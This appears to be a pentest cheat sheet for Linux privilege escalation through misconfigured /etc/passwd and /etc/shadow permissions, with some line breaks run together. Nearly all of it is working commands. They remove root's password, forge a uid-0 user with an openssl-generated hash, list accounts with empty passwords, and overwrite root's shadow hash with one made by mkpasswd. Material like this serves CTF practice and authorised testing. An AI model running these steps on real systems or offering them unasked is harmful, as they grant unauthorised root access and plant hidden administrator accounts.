/etc/passwd & /etc/shadow
/etc/passwd readible - root no password ?
No x ?
$ head -n 1 /etc/passwd
root::0:0:root:/root:/bin/bash
$ su/etc/passwd writable
Change root line (remove x):
Before:
root:x:0:0:root:/root:/bin/bashAfter:
root::0:0:root:/root:/bin/bashCreate new user
Create a password hash:
openssl passwd -1 -salt [salt] [password]Ex:openssl passwd -1 -salt new 123$1$new$p7ptkEKU1HnaHpRtzNizS1Add an new entry to
/etc/passwd: Ex:new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bashSwitch to the new user
su new password: 123 id uid=0(new) gid=0(root) groups=0(root)
/etc/shadow readible
Crack hashes
CrackingUsers with no password
awk -F: '($2=="") {print $1}' /etc/shadow/etc/shadow writable
Generate a new password hash with a password of your choice:
mkpasswd -m sha-512 newpasswordhereEdit the
/etc/shadowfile and replace the original root user's password hash with the one you just generated.Switch to the root user, using the new password:
su root
Last updated
